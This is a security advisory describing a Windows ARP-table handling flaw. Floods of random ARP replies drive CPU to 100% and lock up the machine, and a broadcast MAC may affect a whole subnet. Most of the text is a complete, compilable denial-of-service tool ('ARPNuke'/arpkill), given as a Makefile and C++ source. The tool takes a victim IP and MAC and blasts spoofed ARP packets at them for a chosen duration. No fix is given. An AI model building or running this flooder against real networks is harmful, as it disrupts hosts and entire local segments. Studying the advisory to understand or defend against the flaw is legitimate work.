COMMAND

    ARP

SYSTEMS AFFECTED

    Windows

PROBLEM

    Paul Starzetz  found following.   There is  an ARP  table handling
    bug in Microsoft Windows protocoll stacks.  It seems that the  arp
    handling  code  uses  some  inefficient  data  structure  (maybe a
    simple linear table?) to manage  the ARP entries.  Sending  a huge
    amount of "random"  (that is random  source IP and  arbitrary MAC)
    ARP packets  results in  100% CPU  utilization and  a machine lock
    up.   The  machine  wakes  up  after  the  packets stream has been
    stopped.

    The needed traffic is not  really high: the attached ARPkill  code
    will send an initial sequence of about 10000 ARP packets, then  go
    to  "burst  mode"  sending  definable  short  burst  of random ARP
    packets  every  10  msec.  The  lockup  occured  at about 80kb/sec
    (seq about 45) on a PII/350.

    Even worse: it seems that is possible to kill a whole subnet using
    broadcast  destination   MAC  (that   is  ff:ff:ff:ff:ff:ff)   and
    arbitrary source IP.

    Makefile:

    SHELL = /bin/bash
    CC = g++
    CCFLAGS =
    
    LIBS = -lpcap
    
    PNAME = arpkill
    
    OBJS = arpkill.o
    
    #LIBNFLAGS := $(shell libnet-config --cflags --defines)
    LIBNFLAGS := -D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H -DLIBNET_LIL_ENDIAN
    
    all: ${OBJS}
	    ${CC} ${OBJS} -o ${PNAME} `libnet-config --libs` -lpcap
	    @echo
    
    arpkill.o: arpkill.c
	    $(CC) -g $(CFLAGS) -c arpkill.c `libnet-config --cflags --defines`
    
    
    clean:
	    @rm -rf *.o
	    @rm -rf *.bak
	    @rm -rf *.txt
	    @rm ${PNAME}
	    @echo "Mr Proper done :-)"

    Exploit code:

    /****************************************************
    *													*
    *		ARPNuke										*
    *		nuke local hosts by random ARP traffic		*
    *		by IhaQueR									*
    *													*
    ****************************************************/
    
    
    extern "C" {
    #include <time.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <pcap.h>
    #include <libnet.h>
    #include <sys/times.h>
    }
    
    
    
    #define TMPBUFLEN 256
    #define IP_LEN 4
    #define MAC_LEN 6
    
    //	packet burst
    #define PSEQ 50
    
    //	packet preload
    #define STARTSEQ 15000
    
    
    const unsigned char ethernull[6] = {0,0,0,0,0,0};
    const unsigned char etherbcast[6] = {255,255,255,255,255,255};
    u_char* sniffdevice;
    
    
    
    
    //		prints MAC
    void print_mac(unsigned char* mac)
    {
		    printf("\nMAC: %x:%x:%x:%x:%x:%x ", (unsigned)mac[0], (unsigned)mac[1], (unsigned)mac[2], (unsigned)mac[3], (unsigned)mac[4], (unsigned)mac[5]);
    }
    
    
    //		sprints MAC
    char* sprint_mac(unsigned char* mac)
    {
    static char tmpbuf[TMPBUFLEN];
    
		    sprintf(tmpbuf, "%x:%x:%x:%x:%x:%x", (unsigned)mac[0], (unsigned)mac[1], (unsigned)mac[2], (unsigned)mac[3], (unsigned)mac[4], (unsigned)mac[5]);
    
    return tmpbuf;
    }
    
    
    //		prints IP
    void print_ip(unsigned char* ip)
    {
		    printf("\nIP: %u.%u.%u.%u ", (unsigned)ip[0], (unsigned)ip[1], (unsigned)ip[2], (unsigned)ip[3]);
    }
    
    
    //		sprints IP
    char* sprint_ip(unsigned char* ip)
    {
    static char tmpbuf[TMPBUFLEN];
    
		    sprintf(tmpbuf, "%u.%u.%u.%u", (unsigned)ip[0], (unsigned)ip[1], (unsigned)ip[2], (unsigned)ip[3]);
    
    return tmpbuf;
    }
    
    
    //		reads MAC
    void get_mac(u_char* mac, char* optarg)
    {
		    int i=0;
		    char* ptr = strtok(optarg, ":-");
		    while(ptr) {
			    unsigned nmb;
			    sscanf(ptr, "%x", &nmb);
			    mac[i] = (u_char)nmb;
			    ptr = strtok(NULL, ":-");
			    i++;
		    }
    }
    
    
    //		reads IP
    void get_ip(u_char* ip, char* ipstr)
    {
		    int i=0;
		    char* ptr = strtok(ipstr, ".");
		    while(ptr && i<4) {
			    ip[i] = (unsigned char)atoi(ptr);
			    ptr = strtok(NULL, ".");
			    i++;
		    }
    }
    
    
    main(int ac, char** av)
    {
    
    //	usage
		    if(ac<4)
			    printf("\nusage: %s <victim ip> <victim mac> <duration> [seq len]\n\n", av[0]), exit(1);
    
		    srand(time(NULL));
    
		    long long duration = atoi(av[3]);
    
		    unsigned pseq = PSEQ;
		    if(ac>4)
			    pseq = atoi(av[4]);
    
		    u_char victim_mac[MAC_LEN];
		    get_mac(victim_mac, av[2]);
    
		    u_char victim_ip[IP_LEN];
		    get_ip(victim_ip, av[1]);
    
		    u_char randmac[MAC_LEN];
		    u_char randip[IP_LEN];
		    bzero(randmac, sizeof(randmac));
    
		    print_mac(victim_mac);
		    print_ip(victim_ip);
		    printf("\npacket burst: %d", pseq);
		    printf("\nfreezing host for %d seconds\n", (int)duration);
    
		    struct timeval tv;
		    gettimeofday(&tv, NULL);
		    long long ts1 = tv.tv_sec;
		    ts1 *= 1000000;
		    ts1 += tv.tv_usec;
    
    //	init libnet
		    struct sockaddr_in sin;
		    u_char errbuf[TMPBUFLEN];
		    if(libnet_select_device(&sin, (unsigned char **)&sniffdevice, (u_char*)errbuf) != 1) {
			    printf("\nERROR selecting device");
		    }
		    else {
			    libnet_link_int* mylink;
			    mylink = libnet_open_link_interface((char*)sniffdevice, (char*)errbuf);
			    if(mylink == NULL) {
				    printf("\nERROR opening link interface: %s", errbuf);
			    }
			    else {
				    long long ts2 = ts1;
				    int i=0, j=0;
    
    //	send random arp packets
				    for(i=0; i<sizeof(randmac); i++)
					    randmac[i] = rand() % 256;
    
				    u_char buf[64];
				    bzero(buf, sizeof(buf));
    
				    while((ts2-ts1) < duration*1000000) {
    
					    gettimeofday(&tv, NULL);
					    ts2 = tv.tv_sec;
					    ts2 *= 1000000;
					    ts2 += tv.tv_usec;
    
					    if(j > STARTSEQ && (j % pseq) == (pseq-1)) {
						    usleep(1);
					    }
					    j++;
    
					    for(i=0; i<sizeof(randip); i++)
						    randip[i] = rand() % 256;
    
					    libnet_build_ethernet((u_char *)victim_mac, randmac, ETHERTYPE_ARP, NULL, 0, buf);
					    libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
									     randmac, randip, victim_mac, victim_ip, NULL, 0, buf+LIBNET_ETH_H);
					    libnet_write_link_layer(mylink, sniffdevice, buf, LIBNET_ARP_H + LIBNET_ETH_H);
				    }
    
				    long long mbytes = ((long long)j)*(LIBNET_ARP_H + LIBNET_ETH_H);
				    double mb = mbytes;
				    mb /= 1024.0;
				    mb /= 1024.0;
    
				    mbytes = ((long long)j-STARTSEQ)*(LIBNET_ARP_H + LIBNET_ETH_H);
				    double mbr = mbytes;
				    mbr /= 1024.0;
				    mbr /= 1024.0;
				    mbr /= duration;
    
				    printf("\npackets sent\t%d [pkt]\tsustained rate: %d [pkt/s]", j, (j-STARTSEQ)/duration);
				    printf("\nmbytes sent\t%6.2lf [mb]\tsustained rate: %4.2lf [mb/s]", mb, mbr);
			    }
		    }
    
		    printf("\n\n");
    
    return 0;
    }

    Obviously  you  need  to  be  in  the  local  ethernet  segment to
    accomplish an attack like that.

    1) after a  successfull attack there  is another lock  up occuring
       after the random MAC addresses  are flushed from the ARP  cache
       (it takes  about 2  minutes) -  the Windows  machine locks  for
       about 20 seconds, after that all goes fine again.

    2) again, after  such a successfull  attack, giving arp  -a on the
       command line results in 100% cpu utilization and nothings  gets
       printed, however the machine is still responding to ctrl-c.

    Both, 1 and  2 are indicators  for an ineffective  arp table.   It
    must be  emphasized that  the mentioned  machine lockup  is not an
    artifact of very high interrupt  rates - 2000 packets per  seconds
    should be easily handled, even by Windows.

SOLUTION

    Nothing yet